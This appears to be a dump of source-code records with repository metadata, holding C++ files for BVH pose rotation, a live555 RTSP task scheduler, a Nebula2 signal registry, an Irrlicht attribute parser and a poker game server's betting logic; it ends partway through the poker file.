e1dab326d44351da8dec4fa11a8ad1cb65dcfdcb
refs/heads/master
2016-09-06T17:33:51.809798
2011-09-01T21:22:55
2011-09-01T21:22:55
32,089,782
0
1
null
null
null
null
UTF-8
C++
false
false
4,232
cpp
#include "pose.h" // Default constructor contains no initialization Pose::Pose() { // } // Default Destructor contains no actions Pose::~Pose() { // } // Function designed to take an existing structure and its associated BVH File Frame // FrameBVH variable must have the same number of channels as the total number Of Channels in the Structure // Function will not tamper with the orignal Structure Structure Pose::adoptPose(Structure myStructure,FrameBVH specifications) { // Creating a new empty Structure Structure baseStructure; for (int joint=0;joint<myStructure.getTotalParts();joint++) { // obtaining the joint offsets std::vector<float> jointOffset = myStructure.getSubStrcutureOffset(joint); // Creating a matrix to store the coordinates of the offset from the parent joint cv::Mat jointCoordinate(3,1,CV_32FC1); jointCoordinate.at<float>(0,0)=jointOffset[0]; jointCoordinate.at<float>(0,1)=jointOffset[1]; jointCoordinate.at<float>(0,2)=jointOffset[2]; // Creating a matrix to represt the joint rotation transform cv::Mat temporaryMatrix = getRotationTransform(specifications.getRotationDetails(joint)); // multiplying Rotation Transform with the coordinates to obtain new coordinates temporaryMatrix = temporaryMatrix*jointCoordinate; // entering the new coordinates in a vector std::vector<float> newJointOffset; newJointOffset.push_back(temporaryMatrix.at<float>(0,0)); newJointOffset.push_back(temporaryMatrix.at<float>(1,0)); newJointOffset.push_back(temporaryMatrix.at<float>(2,0)); // setting empty userEndsite Coordinates std::vector<float> userEndsiteCoordinates; userEndsiteCoordinates.push_back(0); userEndsiteCoordinates.push_back(0); userEndsiteCoordinates.push_back(0); // using most information regarding the joint from a parent joint and SubStructure aSubtStructure(myStructure.getPartName(joint),newJointOffset,userEndsiteCoordinates,3,myStructure.getParentJointIndex(joint)); // adding the joint with the new coordinates to the new structure baseStructure.addSubStructure(aSubtStructure); } return baseStructure; } // Function made for obtaining the rotation transform // Input must be a three sized vector // Incase of incomplete rotations zeros will be assumed for remaining and rotations provided will be considered in the order Z,Y,X // Rotation angles must be in degrees as conversion is done within to radians cv::Mat Pose::getRotationTransform(std::vector<float> rotations) { // the Z Rotation rotations[0] = rotations[0]*PI/180; // the Y Rotation rotations[1] = rotations[1]*PI/180; // the X Rotation rotations[2] = rotations[2]*PI/180; cv::Mat xRotation = cv::Mat(3, 3, CV_32FC1); xRotation.at<float>(0,0) = 1; xRotation.at<float>(0,1) = 0; xRotation.at<float>(0,2) = 0; xRotation.at<float>(1,0) = 0; xRotation.at<float>(1,1) = cos(rotations[2]); xRotation.at<float>(1,2) = -sin(rotations[2]); xRotation.at<float>(2,0) = 0; xRotation.at<float>(2,1) = sin(rotations[2]); xRotation.at<float>(2,2) = cos(rotations[2]); cv::Mat yRotation = cv::Mat(3, 3, CV_32FC1); yRotation.at<float>(0,0) = cos(rotations[1]); yRotation.at<float>(0,1) = 0; yRotation.at<float>(0,2) = sin(rotations[1]); yRotation.at<float>(1,0) = 0; yRotation.at<float>(1,1) = 1; yRotation.at<float>(1,2) = 0; yRotation.at<float>(2,0) = -sin(rotations[1]); yRotation.at<float>(2,1) = 0; yRotation.at<float>(2,2) = cos(rotations[1]); cv::Mat zRotation = cv::Mat(3, 3, CV_32FC1); zRotation.at<float>(0,0) = cos(rotations[0]); zRotation.at<float>(0,1) = -sin(rotations[0]); zRotation.at<float>(0,2) = 0; zRotation.at<float>(1,0) = sin(rotations[0]); zRotation.at<float>(1,1) = cos(rotations[0]); zRotation.at<float>(1,2) = 0; zRotation.at<float>(2,0) = 0; zRotation.at<float>(2,1) = 0; zRotation.at<float>(2,2) = 1; // Multiplication Order is Y*(X*Z) xRotation = xRotation*zRotation; yRotation = yRotation*xRotation; return yRotation; }
[ "[email protected]@b19eb72c-7a23-c4c4-98cb-0a5561f3c209" ]
[ [ [ 1, 127 ] ] ]
91a338855debaffb8e56f371acdb7f521a7bda0f
7dd19b99378bc5ca4a7c669617a475f551015d48
/openclient/rtsp_stack/BasicTaskScheduler0.cpp
912f2fce6a9b67a9404d7ec08e2afecb30c9e0ab
[]
no_license
Locnath/openpernet
988a822eb590f8ed75f9b4e8c2aa7b783569b9da
67dad1ac4cfe7c336f8a06b8c50540f12407b815
refs/heads/master
2020-06-14T14:32:17.351799
2011-06-23T08:51:04
2011-06-23T08:51:04
41,778,769
0
0
null
null
null
null
UTF-8
C++
false
false
5,258
cpp
/********** This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. (See <http://www.gnu.org/copyleft/lesser.html>.) This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA **********/ // Copyright (c) 1996-2010 Live Networks, Inc. All rights reserved. // Basic Usage Environment: for a simple, non-scripted, console application // Implementation #include "BasicUsageEnvironment0.h" #include "HandlerSet.h" #include <stdio.h> ////////// A subclass of DelayQueueEntry, ////////// used to implement BasicTaskScheduler0::scheduleDelayedTask() class AlarmHandler: public DelayQueueEntry { public: AlarmHandler(TaskFunc* proc, void* clientData, DelayInterval timeToDelay) : DelayQueueEntry(timeToDelay), fProc(proc), fClientData(clientData) { } private: // redefined virtual functions virtual void handleTimeout() { (*fProc)(fClientData); DelayQueueEntry::handleTimeout(); } private: TaskFunc* fProc; void* fClientData; }; ////////// BasicTaskScheduler0 ////////// BasicTaskScheduler0::BasicTaskScheduler0() : fLastHandledSocketNum(-1) { fHandlers = new HandlerSet; } BasicTaskScheduler0::~BasicTaskScheduler0() { delete fHandlers; } TaskToken BasicTaskScheduler0::scheduleDelayedTask(int64_t microseconds, TaskFunc* proc, void* clientData) { if (microseconds < 0) microseconds = 0; DelayInterval timeToDelay((long)(microseconds/1000000), (long)(microseconds%1000000)); AlarmHandler* alarmHandler = new AlarmHandler(proc, clientData, timeToDelay); if (!alarmHandler) // add by wayde { fprintf(stderr, "alarmHandler is NULL.\n"); return NULL; } fDelayQueue.addEntry(alarmHandler); return (void*)(alarmHandler->token()); } void BasicTaskScheduler0::unscheduleDelayedTask(TaskToken& prevTask) { DelayQueueEntry* alarmHandler = fDelayQueue.removeEntry((long)prevTask); prevTask = NULL; delete alarmHandler; } void BasicTaskScheduler0::doEventLoop(char* watchVariable) { // Repeatedly loop, handling readble sockets and timed events: while (1) { if (watchVariable != NULL && *watchVariable != 0) break; SingleStep(); } } ////////// HandlerSet (etc.) implementation ////////// HandlerDescriptor::HandlerDescriptor(HandlerDescriptor* nextHandler) : conditionSet(0), handlerProc(NULL) { // Link this descriptor into a doubly-linked list: if (nextHandler == this) { // initialization fNextHandler = fPrevHandler = this; } else { fNextHandler = nextHandler; fPrevHandler = nextHandler->fPrevHandler; nextHandler->fPrevHandler = this; fPrevHandler->fNextHandler = this; } } HandlerDescriptor::~HandlerDescriptor() { // Unlink this descriptor from a doubly-linked list: fNextHandler->fPrevHandler = fPrevHandler; fPrevHandler->fNextHandler = fNextHandler; } HandlerSet::HandlerSet() : fHandlers(&fHandlers) { fHandlers.socketNum = -1; // shouldn't ever get looked at, but in case... } HandlerSet::~HandlerSet() { // Delete each handler descriptor: while (fHandlers.fNextHandler != &fHandlers) { delete fHandlers.fNextHandler; // changes fHandlers->fNextHandler } } void HandlerSet ::assignHandler(int socketNum, int conditionSet, TaskScheduler::BackgroundHandlerProc* handlerProc, void* clientData) { // First, see if there's already a handler for this socket: HandlerDescriptor* handler = lookupHandler(socketNum); if (handler == NULL) { // No existing handler, so create a new descr: handler = new HandlerDescriptor(fHandlers.fNextHandler); handler->socketNum = socketNum; } handler->conditionSet = conditionSet; handler->handlerProc = handlerProc; handler->clientData = clientData; } void HandlerSet::clearHandler(int socketNum) { HandlerDescriptor* handler = lookupHandler(socketNum); delete handler; } void HandlerSet::moveHandler(int oldSocketNum, int newSocketNum) { HandlerDescriptor* handler = lookupHandler(oldSocketNum); if (handler != NULL) { handler->socketNum = newSocketNum; } } HandlerDescriptor* HandlerSet::lookupHandler(int socketNum) { HandlerDescriptor* handler; HandlerIterator iter(*this); while ((handler = iter.next()) != NULL) { if (handler->socketNum == socketNum) break; } return handler; } HandlerIterator::HandlerIterator(HandlerSet& handlerSet) : fOurSet(handlerSet) { reset(); } HandlerIterator::~HandlerIterator() { } void HandlerIterator::reset() { fNextPtr = fOurSet.fHandlers.fNextHandler; } HandlerDescriptor* HandlerIterator::next() { HandlerDescriptor* result = fNextPtr; if (result == &fOurSet.fHandlers) { // no more result = NULL; } else { fNextPtr = fNextPtr->fNextHandler; } return result; }
[ [ [ 1, 175 ] ] ]
67b078759996ff6d2052199d46a7b6a34d4992f7
5ac13fa1746046451f1989b5b8734f40d6445322
/minimangalore/Nebula2/code/nebula2/src/signals/nsignalregistry.cc
da14fcbcaea9b1f30cd5bf9ecd326d35b285990d
[]
no_license
moltenguy1/minimangalore
9f2edf7901e7392490cc22486a7cf13c1790008d
4d849672a6f25d8e441245d374b6bde4b59cbd48
refs/heads/master
2020-04-23T08:57:16.492734
2009-08-01T09:13:33
2009-08-01T09:13:33
35,933,330
0
0
null
null
null
null
UTF-8
C++
false
false
5,645
cc
//------------------------------------------------------------------------------ /** @file nsignalregistry.cc (c) 2004 Tragnarion Studios */ //------------------------------------------------------------------------------ #include "kernel/nclass.h" #include "signals/nsignalregistry.h" #include "signals/nsignal.h" //------------------------------------------------------------------------------ /** */ nSignalRegistry::~nSignalRegistry() { if (this->signalList) { nSignal* signal; while (0 != (signal = static_cast<nSignal*>(this->signalList->RemHead()))) { // Native signals are statically allocated while // signals defined from scripting are dynamically allocated signal->Release(); } n_delete(this->signalList); this->signalList = 0; this->numSignals = 0; } } //------------------------------------------------------------------------------ /** Begin the definition of signals */ void nSignalRegistry::BeginSignals(int numSignals) { n_assert(!this->signalList); this->signalList = n_new(nHashList(numSignals)); } //------------------------------------------------------------------------------ /** AddSignal adds the signal provided as parameter <tt>signal</tt> to the internal list of signals supported by the class. - This will error when the signal already exists - This will error if the nFourCC isn't unique for that class and its ancestors. */ bool nSignalRegistry::AddSignal(nSignal* signal) { n_assert(signal); if (this->FindSignalByName(signal->GetName())) { return false; } if (this->FindSignalById(signal->GetId())) { return false; } this->signalList->AddTail(signal); this->numSignals++; return true; } //------------------------------------------------------------------------------ /** AddSignal creates a new signal with the parameters provided @param proto_def the signal prototype definition @param id the signal unique nFourCC code @returns true if the signal was added successfully, otherwise false - This will error when the signal already exists - This will error if the nFourCC isn't unique for that class and its ancestors. - This will error if the type signature is not valid. */ bool nSignalRegistry::AddSignal(const char* proto_def, nFourCC id) { n_assert(proto_def); n_assert(id); // create the signal list to allow addition of signals from scripting // even if no begin signals was issued if (!this->signalList) { if (numSignals > 0) { this->signalList = n_new(nHashList(numSignals)); } else { // create the hash list with minimum space this->signalList = n_new(nHashList(5)); } } // type signature is checked on creation of nSignal (assert on error) ProtoDefInfo info(proto_def); if (!info.valid) { return false; } // check the signal name does not already exist if (this->FindSignalByName(info.name)) { return false; } // check the signal id does not already exist if (this->FindSignalById(id)) { return false; } nSignal* signal = n_new(nSignal(info.name, proto_def, id)); this->AddSignal(signal); return true; } //------------------------------------------------------------------------------ /** End definition of signals */ void nSignalRegistry::EndSignals() { /// empty } //------------------------------------------------------------------------------ /** Find signal by name @return the signal object when found, otherwise NULL */ nSignal* nSignalRegistry::FindSignalByName(const char* name) { n_assert(name); if (this->signalList) { nHashNode* node = this->signalList->GetHead(); while (node) { if (!strcmp(node->GetName(), name)) { return static_cast<nSignal*>(node); } node = node->GetSucc(); } } /// this only works when this is nClass (which mixes-in nSignalRegistry) nClass* theClass = static_cast<nClass*>(this); nClass* superClass = theClass->GetSuperClass(); if (superClass) { return superClass->FindSignalByName(name); } return NULL; } //------------------------------------------------------------------------------ /** Find signal by nFourCC identifier. @return the signal object when found, otherwise NULL */ nSignal* nSignalRegistry::FindSignalById(nFourCC id) { if (this->signalList) { nHashNode* node = this->signalList->GetHead(); while (node) { if ((static_cast<nSignal*>(node))->GetId() == id) { return static_cast<nSignal*>(node); } node = node->GetSucc(); } } /// this only works when this is nClass (which mixes-in nSignalRegistry) nClass* theClass = static_cast<nClass*>(this); nClass* superClass = theClass->GetSuperClass(); if (superClass) { return superClass->FindSignalById(id); } return NULL; } //------------------------------------------------------------------------------ // EOF //------------------------------------------------------------------------------
[ "BawooiT@d1c0eb94-fc07-11dd-a7be-4b3ef3b0700c" ]
[ [ [ 1, 211 ] ] ]
d2df5e22c8df561752012ca809f44bdec058b1fc
0f457762985248f4f6f06e29429955b3fd2c969a
/irrlicht/sdk/ggfsdk/ggf_parser.h
3232a6c74bb764656d898079685fecc79cdf7ca9
[]
no_license
tk8812/ukgtut
f19e14449c7e75a0aca89d194caedb9a6769bb2e
3146ac405794777e779c2bbb0b735b0acd9a3f1e
refs/heads/master
2021-01-01T16:55:07.417628
2010-11-15T16:02:53
2010-11-15T16:02:53
37,515,002
0
0
null
null
null
null
UHC
C++
false
false
6,365
h
/* #pragma once namespace ggf { namespace parser { typedef std::vector<std::string> VectorString; typedef std::vector<int> VectorInt; typedef std::vector<float> VectorFloat; //기능확장 함수구현 inline void GetAttrib(const char * szBuf,int &i) { i = atoi(szBuf); } inline void GetAttrib(const char * szBuf,double &db) { db = atof(szBuf); } inline void GetAttrib(const char * szBuf,float &db) { db = (float)atof(szBuf); } inline void GetAttrib(const char * szBuf,VectorString &vs) { //std::vector<std::string>::iterator it; std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; vs.clear(); tokenize(input,tokens,delimiter,keep_delim,esc); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { vs.push_back(*itTemp); } } inline void GetAttrib(const char * szBuf,VectorInt &vi) { std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; tokenize(input,tokens,delimiter,keep_delim,esc); vi.clear(); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { int nTemp; nTemp = atoi(itTemp->c_str()); vi.push_back(nTemp); //vi.push_back(*itTemp); } //std::vector<int>::iterator } inline void GetAttrib(const char * szBuf,VectorFloat &vf) { std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; tokenize(input,tokens,delimiter,keep_delim,esc); vf.clear(); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { float fTemp; fTemp = (float)atof(itTemp->c_str()); vf.push_back(fTemp); } } inline void GetAttrib(const char * szBuf,bool &bIs) { std::string str; //str = GetAttrib(szAttrib); str = szBuf; if(str == "true") { bIs = true; } else { bIs = false; } } } } */ #pragma once //update log //2008. 8. 21 : irrlicht extension add namespace ggf { namespace parser { typedef std::vector<std::string> VectorString; typedef std::vector<int> VectorInt; typedef std::vector<float> VectorFloat; //기능확장 함수구현 inline void GetAttrib(const char * szBuf,std::string &str) { str = szBuf; } inline void GetAttrib(const char * szBuf,int &i) { i = atoi(szBuf); } inline void GetAttrib(const char * szBuf,double &db) { db = atof(szBuf); } inline void GetAttrib(const char * szBuf,float &db) { db = (float)atof(szBuf); } inline void GetAttrib(const char * szBuf,VectorString &vs) { //std::vector<std::string>::iterator it; std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; vs.clear(); tokenize(input,tokens,delimiter,keep_delim,quote,esc); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { vs.push_back(*itTemp); } } inline void GetAttrib(const char * szBuf,VectorInt &vi) { std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; tokenize(input,tokens,delimiter,keep_delim,quote,esc); vi.clear(); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { int nTemp; nTemp = atoi(itTemp->c_str()); vi.push_back(nTemp); //vi.push_back(*itTemp); } //std::vector<int>::iterator } inline void GetAttrib(const char * szBuf,VectorFloat &vf) { std::string delimiter = ",\t"; std::string keep_delim = ";:"; std::string quote = "\'\""; std::string esc = "\\#"; std::string input; VectorString tokens; VectorString::iterator itTemp; //input = GetAttrib(szAttrib); input = szBuf; tokenize(input,tokens,delimiter,keep_delim,quote,esc); vf.clear(); for(itTemp = tokens.begin();itTemp != tokens.end();itTemp++) { float fTemp; fTemp = (float)atof(itTemp->c_str()); vf.push_back(fTemp); } } inline void GetAttrib(const char * szBuf,bool &bIs) { std::string str; //str = GetAttrib(szAttrib); str = szBuf; if(str == "true") { bIs = true; } else { bIs = false; } } inline bool GetAttrib(const char * szBuf) { std::string str; str = szBuf; if(str == "true") { return true; } else { return false; } } //일리히트 확장 #ifdef _IRR_WINDOWS_ inline void GetAttrib(const char * szBuf,irr::core::vector3df &v3df) { VectorFloat vf; GetAttrib(szBuf,vf); v3df = irr::core::vector3df(vf[0],vf[1],vf[2]); } inline void GetAttrib(const char * szBuf,irr::core::vector3di &v3di) { VectorInt vi; GetAttrib(szBuf,vi); v3di = irr::core::vector3di(vi[0],vi[1],vi[2]); } inline void GetAttrib(const char * szBuf,irr::core::vector2di &v2di) { VectorInt vi; GetAttrib(szBuf,vi); v2di = irr::core::vector2di(vi[0],vi[1]); } inline irr::core::position2di GetAttrib(const char * szBuf,irr::core::position2di &pos2di) { VectorInt vi; GetAttrib(szBuf,vi); pos2di = irr::core::position2di(vi[0],vi[1]); } inline void GetAttrib(const char * szBuf,irr::core::vector2df &v2df) { VectorFloat vf; GetAttrib(szBuf,vf); v2df = irr::core::vector2df(vf[0],vf[1]); } inline void GetAttrib(const char * szBuf,irr::core::position2df &pos2df) { VectorFloat vf; GetAttrib(szBuf,vf); pos2df = irr::core::position2df(vf[0],vf[1]); } inline void GetAttrib(const char * szBuf,irr::core::rect<irr::s32> &rt) { VectorInt vi; GetAttrib(szBuf,vi); rt = irr::core::rect<irr::s32>(vi[0],vi[1],vi[2],vi[3]); } #endif } }
[ "gbox3d@58f0f68e-7603-11de-abb5-1d1887d8974b" ]
[ [ [ 1, 341 ] ] ]
b755dcb847a8df33e9ccf667971f8800ae0df6c8
57574cc7192ea8564bd630dbc2a1f1c4806e4e69
/Poker/Servidor/ContextoJuego.cpp
8d18e4e88ca733d3f2587520c1721fcedcb952bb
[]
no_license
natlehmann/taller-2010-2c-poker
3c6821faacccd5afa526b36026b2b153a2e471f9
d07384873b3705d1cd37448a65b04b4105060f19
refs/heads/master
2016-09-05T23:43:54.272182
2010-11-17T11:48:00
2010-11-17T11:48:00
32,321,142
0
0
null
null
null
null
UTF-8
C++
false
false
18,119
cpp
#include "ContextoJuego.h" #include "PokerException.h" #include "Repartidor.h" #include "Jugada.h" #include "RecursosServidor.h" #include "UtilTiposDatos.h" #include "IteradorRonda.h" #include "IteradorRondaActivos.h" #include "AccesoDatos.h" ContextoJuego* ContextoJuego::instancia = NULL; int ContextoJuego::segsTimeoutJugadores = UtilTiposDatos::getEntero( RecursosServidor::getConfig()->get("servidor.logica.timeout.jugadorInactivo")); ContextoJuego::ContextoJuego(void) { this->mutex = CreateMutexA(NULL, false, "MutexContexto"); this->admJugadores = new AdministradorJugadores(); this->mesa = new MesaModelo(10, UtilTiposDatos::getEntero( RecursosServidor::getConfig()->get("servidor.mesa.smallBlind")), RecursosServidor::getConfig()->get("servidor.mesa.fondo")); this->mesa->setApuestaMaxima(UtilTiposDatos::getEntero( RecursosServidor::getConfig()->get("servidor.mesa.apuestaMaxima"))); this->bote = new BoteModelo(11); this->mensaje = new MensajeModelo(12); this->cartasComunitarias = new CartasComunitariasModelo(13); this->montoAIgualar = 0; this->cantidadJugadoresRonda = 0; this->repartidor = new Repartidor(); this->rondaTerminada = false; this->mostrandoCartas = false; this->sePuedePasar = false; this->rondaAllIn = false; this->esperandoJugadores = new EstadoEsperandoJugadores(); this->evaluandoGanador = new EstadoEvaluandoGanador(); this->rondaRiver = new EstadoRondaRiver(this->evaluandoGanador); this->rondaTurn = new EstadoRondaTurn(this->rondaRiver); this->rondaFlop = new EstadoRondaFlop(this->rondaTurn); this->rondaCiega = new EstadoRondaCiega(this->rondaFlop); this->esperandoJugadores->setEstadoRondaCiega(this->rondaCiega); this->evaluandoGanador->setEstadoRondaCiega(this->rondaCiega); this->evaluandoGanador->setEstadoEsperandoJugadores(this->esperandoJugadores); this->estado = this->esperandoJugadores; this->timerEsperandoJugadores.iniciar(); } ContextoJuego::~ContextoJuego(void) { //if (instancia) { // delete instancia; // instancia = NULL; //} } void ContextoJuego::finalizar() { if(this->admJugadores != NULL) { delete (this->admJugadores); this->admJugadores = NULL; } if (this->mesa) { delete this->mesa; this->mesa = NULL; } if (this->bote) { delete this->bote; this->bote = NULL; } if (this->mensaje) { delete this->mensaje; this->mensaje = NULL; } if (this->cartasComunitarias) { delete this->cartasComunitarias; this->cartasComunitarias = NULL; } if (this->repartidor) { delete this->repartidor; this->repartidor = NULL; } delete(this->esperandoJugadores); delete(this->rondaCiega); delete(this->rondaFlop); delete(this->rondaTurn); delete(this->rondaRiver); delete(this->evaluandoGanador); CloseHandle(this->mutex); } HANDLE ContextoJuego::getMutex(){ return this->mutex; } ContextoJuego* ContextoJuego::getInstancia(){ if (instancia == NULL) { instancia = new ContextoJuego(); } return instancia; } int ContextoJuego::getTiempoEsperandoJugadores(){ return this->timerEsperandoJugadores.getSegundos(); } void ContextoJuego::resetTimerEsperandoJugadores(){ this->timerEsperandoJugadores.iniciar(); } bool ContextoJuego::isTiempoMostrandoGanadorCumplido() { return (this->timerMostrandoGanador.getSegundos() >= UtilTiposDatos::getEntero( RecursosServidor::getConfig()->get("servidor.logica.timeout.mostrandoGanador"))); } MesaModelo* ContextoJuego::getMesa(){ return this->mesa; } BoteModelo* ContextoJuego::getBote() { return this->bote; } MensajeModelo* ContextoJuego::getMensaje(){ return this->mensaje; } CartasComunitariasModelo* ContextoJuego::getCartasComunitarias(){ return this->cartasComunitarias; } int ContextoJuego::getCantidadJugadoresJugandoRonda(){ return this->cantidadJugadoresRonda; } void ContextoJuego::igualarApuesta(int idCliente) { JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); int montoApuesta = this->montoAIgualar - jugador->getApuesta(); if (jugador->getFichas() < montoApuesta) { montoApuesta = jugador->getFichas(); } jugador->apostar(montoApuesta); this->bote->incrementar(montoApuesta); this->admJugadores->incrementarTurno(); chequearRondaTerminada(); } void ContextoJuego::pasar(int idCliente){ if (this->sePuedePasar) { this->admJugadores->incrementarTurno(); chequearRondaTerminada(); } else { throw PokerException("Se solicito 'pasar' cuando esta no era una jugada permitida."); } } void ContextoJuego::subirApuesta(int idCliente, int fichas) { JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); jugador->apostar(fichas); this->bote->incrementar(fichas); this->montoAIgualar = jugador->getApuesta(); this->admJugadores->setJugadorQueCierra(jugador->getId()); this->admJugadores->incrementarTurno(); this->sePuedePasar = false; chequearRondaTerminada(); } bool ContextoJuego::puedeSubirApuesta(int idCliente, int fichas){ JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); return (fichas <= jugador->getFichas() && fichas <= this->mesa->getApuestaMaxima()); } bool ContextoJuego::puedeSubirApuesta(int idJugador){ int idCliente = this->idJugadorToIdCliente(idJugador); JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); if (jugador) { return (jugador->getFichas() + jugador->getApuesta() > this->montoAIgualar); } else { return true; } } bool ContextoJuego::esApuestaValida(int idCliente, int fichas){ JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); return ((jugador->getApuesta() + fichas) >= this->montoAIgualar); } void ContextoJuego::noIr(int idCliente) { JugadorModelo* jugador = this->admJugadores->getJugador(idCliente); jugador->setApuesta(0); jugador->setCarta1(NULL); jugador->setCarta2(NULL); this->cantidadJugadoresRonda--; if (this->cantidadJugadoresRonda > 1) { if (this->admJugadores->isDealerJugador(jugador->getId())) { this->admJugadores->incrementarDealerTemp(); } if (this->admJugadores->isJugadorQueCierra(jugador->getId())){ this->admJugadores->decrementarJugadorQueCierra(); } this->admJugadores->incrementarTurno(); jugador->setJugandoRonda(false); chequearRondaTerminada(); if (!this->rondaTerminada) { chequearRondaAllIn(); } } else { jugador->setJugandoRonda(false); this->finalizarRonda(); this->estado = this->evaluandoGanador; } } void ContextoJuego::chequearRondaTerminada() { if (this->cantidadJugadoresRonda > 1) { this->rondaTerminada = this->admJugadores->isRondaTerminada(); } else { this->rondaTerminada = false; // TODO: NO ES TRUE??? } } void ContextoJuego::chequearRondaAllIn() { bool rondaAllIn = true; int jugadoresNoAllIn = 0; for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (jugador->isJugandoRonda() && !jugador->isAllIn()) { jugadoresNoAllIn++; if (jugadoresNoAllIn > 1 || jugador->getApuesta() < this->montoAIgualar) { rondaAllIn = false; break; } } } this->rondaAllIn = rondaAllIn; if (this->rondaAllIn) { this->rondaTerminada = true; } } bool ContextoJuego::isRondaTerminada(){ return this->rondaTerminada || this->rondaAllIn; } bool ContextoJuego::isRondaAllIn(){ return this->rondaAllIn; } void ContextoJuego::iniciarJuego() { int cantidadJugadoresActivos = getCantidadJugadoresActivos(); if (cantidadJugadoresActivos < 2) { throw PokerException("No hay suficientes jugadores para iniciar la ronda."); } this->cartasComunitarias->limpiar(); repartidor->mezclar(); this->bote->vaciar(); this->mostrandoCartas = false; this->sePuedePasar = false; for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { if (this->admJugadores->getJugadores()[i]->isActivo()) { this->admJugadores->getJugadores()[i]->setJugandoRonda(true); } this->admJugadores->getJugadores()[i]->setApuesta(0); this->admJugadores->getJugadores()[i]->setDealer(false); this->admJugadores->getJugadores()[i]->setAllIn(false); } this->admJugadores->resetearDealer(); this->admJugadores->incrementarDealer(); this->admJugadores->resetearJugadorTurno(); int blind = 1; IteradorRondaActivos* it = this->admJugadores->getIteradorRondaActivos(); while (!it->esUltimo()) { JugadorModelo* jugador = it->getSiguiente(); jugador->setCarta1(repartidor->getCarta()); jugador->setCarta2(repartidor->getCarta()); if (blind <= 2) { if (cantidadJugadoresActivos == 2) { if (blind == 1) { jugador->apostar(mesa->getSmallBlind() * 2); } else { jugador->apostar(mesa->getSmallBlind()); } } else { jugador->apostar(mesa->getSmallBlind() * blind); } this->bote->incrementar(mesa->getSmallBlind() * blind); this->admJugadores->incrementarTurno(); blind++; } } if (cantidadJugadoresActivos == 2) { this->admJugadores->incrementarTurno(); } this->admJugadores->setJugadorQueCierraActual(); if (blind >= 2) { blind--; this->montoAIgualar = mesa->getSmallBlind() * blind; } this->cantidadJugadoresRonda = cantidadJugadoresActivos; this->rondaTerminada = false; this->rondaAllIn = false; this->nombresGanadores.clear(); delete(it); } void ContextoJuego::iniciarRonda() { if (!this->rondaAllIn) { this->admJugadores->resetearJugadorTurno(); this->sePuedePasar = true; chequearRondaAllIn(); } } void ContextoJuego::mostrarFlop() { for (int i=0 ; i<3 ; ++i) { this->cartasComunitarias->agregarCarta(repartidor->getCarta()); } this->rondaTerminada = false; } void ContextoJuego::mostrarTurn() { this->cartasComunitarias->agregarCarta(repartidor->getCarta()); this->rondaTerminada = false; } void ContextoJuego::mostrarRiver() { this->cartasComunitarias->agregarCarta(repartidor->getCarta()); this->rondaTerminada = false; } void ContextoJuego::evaluarGanador() { list<JugadorModelo*> ganadores; if (this->cantidadJugadoresRonda < 2) { for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (jugador->isJugandoRonda()) { ganadores.push_back(jugador); break; } } } else { double valorJugadaMasAlta = 0; for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (jugador->isJugandoRonda()) { Jugada* jugada = new Jugada(); jugada->agregarCartas(this->cartasComunitarias->getCartas()); jugada->agregarCarta(jugador->getCarta1()); jugada->agregarCarta(jugador->getCarta2()); double valorJugada = jugada->getValorJugada(); if (valorJugada > valorJugadaMasAlta) { valorJugadaMasAlta = valorJugada; ganadores.clear(); ganadores.push_back(jugador); } else { if (valorJugada == valorJugadaMasAlta) { ganadores.push_back(jugador); } } } } } if (ganadores.size() == 0) { throw PokerException("Ocurrio un error evaluando al ganador."); } int fichasQueNoSeReparten = 0; int apuestaMaxGanador = 0; for (list<JugadorModelo*>::iterator it = ganadores.begin(); it != ganadores.end(); ++it) { JugadorModelo* ganador = *it; fichasQueNoSeReparten += ganador->getApuesta(); if (ganador->getApuesta() > apuestaMaxGanador) { apuestaMaxGanador = ganador->getApuesta(); } } for (int i = 0; i < MAX_CANTIDAD_JUGADORES; i++) { JugadorModelo* jugador = this->admJugadores->getJugadores()[i]; if (jugador->isJugandoRonda() && jugador->getApuesta() > apuestaMaxGanador) { int diferencia = jugador->getApuesta() - apuestaMaxGanador; jugador->incrementarFichas(diferencia); bote->incrementar(-diferencia); } } for (list<JugadorModelo*>::iterator it = ganadores.begin(); it != ganadores.end(); ++it) { JugadorModelo* ganador = *it; ganador->incrementarFichas(bote->getCantidad() * 